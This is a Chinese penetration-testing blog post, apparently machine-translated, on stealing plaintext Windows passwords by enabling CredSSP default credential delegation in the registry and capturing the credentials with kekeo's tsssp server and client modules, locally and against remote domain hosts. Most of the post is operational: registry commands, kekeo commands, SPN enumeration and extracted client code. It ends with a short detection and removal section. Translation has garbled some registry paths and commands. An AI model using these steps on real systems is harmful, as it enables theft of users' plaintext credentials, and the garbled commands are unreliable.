发布于2022年11月8日3年前 0x00 前言 在渗透测试中,为了获取Windows系统中的用户密码,我们通常会选择读取lsass进程的内存。这种方法不仅需要获得系统的管理员权限,而且更多情况下需要绕过系统对lsass进程的保护。 我在之前的文章《Windows下的密码hash——Net-NTLMv1介绍》中介绍了使用InternalMonologue获取当前用户凭证的方法(通过SSPI调用本地过程调用NTLM认证包(MSV1_0)计算NetNTLM响应),对lsass进程没有任何操作。 本文将介绍另一种获取当前用户密码的方法,同样不需要操作lsass进程。 这是Benjamin @ gentilkiwi Delpy开源的kekeo在2018年加入的一个功能。只需要修改Windows系统的组策略,就可以获得普通用户权限的用户的明文密码。 本文将简单介绍原理,分析不同环境下的利用思路,并给出一些防御建议。 0x01 简介 本文将介绍以下内容: 实现原则 实现方法 利用率分析 防御探测 0x02 实现原理 1.基础知识 CredSSP 凭据安全支持提供程序协议的全名 CREDSP协议的目的是将用户的明文密码从CREDSP客户端委托给CREDSP服务器。 CredSSP通常应用于远程桌面协议和Windows远程管理(如Powershell Remoting)。 CredSSP提供加密的传输层安全协议通道。该协议使用Kerberos和NTLM。 参考资料: https://docs . Microsoft . com/en-us/windows/win32/sec authn/credential-security-support-provider 2.通过组策略设置CredSSP的凭据分配 组策略允许您指定使用CredSSP组件的应用程序是否发送默认凭据。 组策略位置:计算机配置-管理模板-系统-凭据委派 如下图 允许委派默认凭据意味着当使用受信任的X509证书或Kerberos实现服务器身份验证时,会自动发送当前用户的凭据。 仅NTLM服务器身份验证允许委派默认凭据意味着当通过NTLM实施服务器身份验证时,会自动发送当前用户的凭据。 对应于组策略的注册表位置:HKEY _本地_机器\软件\策略\ Microsoft \ windows \凭据委派 3.CredSSP的凭据分配在远程桌面服务上的应用 在工作组环境中,需要启用“允许委派默认凭据,仅NTLM服务器验证”。 需要为域环境启用允许委派默认凭据。 当相应的组策略打开时,在使用远程桌面连接时,将自动发送当前用户的凭据(明文格式,而不是哈希)。 数据结构如下: TSPasswordCreds :=SEQUENCE { 域名[0]八位字节字符串, 用户名[1]八位字节字符串, 密码[2]八位字节字符串 } 参考资料: https://docs . Microsoft . com/en-us/open specs/windows _ protocols/ms-cssp/17773 cc4-21e 9-4a 75-a0dd-72706 b 174 Fe 5 4.实现原理 综上所述,如果我们实施以下操作: 修改主机A的组策略以自动发送当前用户的凭据。 在主机B上实现server的功能,接收主机a发送的请求。 那么,当我们控制主机A连接到主机B时,主机B就可以获得主机A的用户的明文密码。 有关CredSSP协议的详细信息,请参考: https://docs . Microsoft . com/en-us/open specs/windows _ protocols/ms-cssp/85f 57821-40bb-46aa-bfcb-ba 9590 b8fc 30 此外,如果我们实现以下操作: 修改主机A的组策略以自动发送当前用户的凭据。 在主机A上实现server的功能,接收主机A自己发送的请求。 我们还可以获得用户的明文密码。 注: 凯科是通过SMB协议而不是RDP协议创建命名管道来实现的。 如下图 0x03 实现方法 通过修改注册表添加组策略。该命令如下所示: REG add hklm \ SOFTWARE \ Policies \ Microsoft \ Windows \ credentials delegation/v AllowDefaultCredentials/t REG _ DWORD/d 1 REG add hklm \ SOFTWARE \ Policies \ Microsoft \ Windows \ credentials delegation/v allowdefcredentialswhentlmonly/t REG _ DWORD/d 1 REG add hklm \ SOFTWARE \ Policies \ Microsoft \ Windows \ credentials delegation/v concatenate defaults _ allow default/t REG _ DWORD/d 1 REG add hklm \ SOFTWARE \ Policies \ Microsoft \ Windows \ credentials delegation/v concatenate defaults _ AllowDefNTLMOnly/t REG _ DWORD/d 1 REG add hklm \ SOFTWARE \ Policies \ Microsoft \ Windows \ credentials delegation \ AllowDefaultCredentials/v 1/t REG _ SZ/d * REG add hklm \ SOFTWARE \ Policies \ Microsoft \ Windows \ credentials delegation \ allowdefcredentialswhentlmonly/v 1/t REG _ SZ/d * 添加组策略后,需要等待用户再次登录并输入凭证后才能生效,比如锁屏、注销或重启。 对于不同的网络环境,实现方法是不同的。 1.工作组网络 认证方法是NTLM。 (1)抓取本机口令 建立服务器的kekeo命令如下(普通用户权限): tsssp:服务器 连接到服务器的kekeo命令如下(普通用户权限): tsssp:client /target:anyword 如下图 注: 在捕获本地密码时,目标参数可以设置为任何字符。 2.域网络 身份验证方法是Kerberos。 (1)抓取本机口令 建立服务器的kekeo命令如下(普通用户权限): tsssp:服务器 连接到服务器的kekeo命令如下(普通用户权限): tsssp:client /target:anyword 注: 在捕获本地密码时,目标参数可以设置为任何字符。 (2)抓取远程主机口令 建立服务器的kekeo命令如下(系统权限): tsssp:服务器 连接到服务器的kekeo命令如下(普通用户权限): tsssp:client/target:terms RV/computer 01 . test . com/pipe:\ \ computer 01 . test . com \ pipe \ kekeo _ tsssp _ endpoint 结果如下 这里使用的参数是对应于域中计算机帐户的SPN。 要查看当前域中的所有spn,可以使用setspn命令: setspn.exe-q */* 要查看测试域中的所有SPN: setspn.exe-T检验-q */* 0x04 利用分析 1.优点 不需要与lsass进程交互,所以可以绕过lsass进程的保护。 修改组策略后,只需普通用户权限即可实现。 注: 添加组策略后,需要等待用户再次登录并输入凭证后才能生效,比如锁屏、注销或重启。 2.其他利用思路 (1)代码的提取 我单独提取了kekeo的tsssp:client函数,地址如下: https://github . com/3g student/home-of-C-Language/blob/master/tsssp _ client . CPP 代码支持连接本地和远程服务器。 只需填写pipi参数,我的代码将自动完成目标参数到TERMSRV/ 用于连接的本地命令示例: tsssp_client.exe localhost 测试下图 连接到远程服务器的命令示例: tsssp _ client . exe Computer01.test.com 测试下图 kekeo的tsssp:server函数需要安装OSS ASN.1/C。 注: 用OSS ASN.1/C试用版编译的exe文件不能在没有OSS asn.1/C的系统上使用。 (2)抓取其他用户的口令 使用其他用户的令牌启动kekeo.exe或tsssp_client.exe token的使用方法可以参考《渗透技巧——Token窃取与利用》。 0x05 防御检测 1.查询组策略配置。 查询注册表的Cmd命令如下: reg query hklm \ SOFTWARE \ Policies \ Microsoft \ Windows \ credentials delegation 2.删除组策略配置。 删除注册表项的Cmd命令如下: reg delete hklm \ SOFTWARE \ Policies \ Microsoft \ Windows \ credentials delegation/f 0x06 小结 介绍了kekeo的tsssp模块在不同环境下的利用方法,并基于利用思路给出了防御建议。 留下回复
创建帐户或登录后发表意见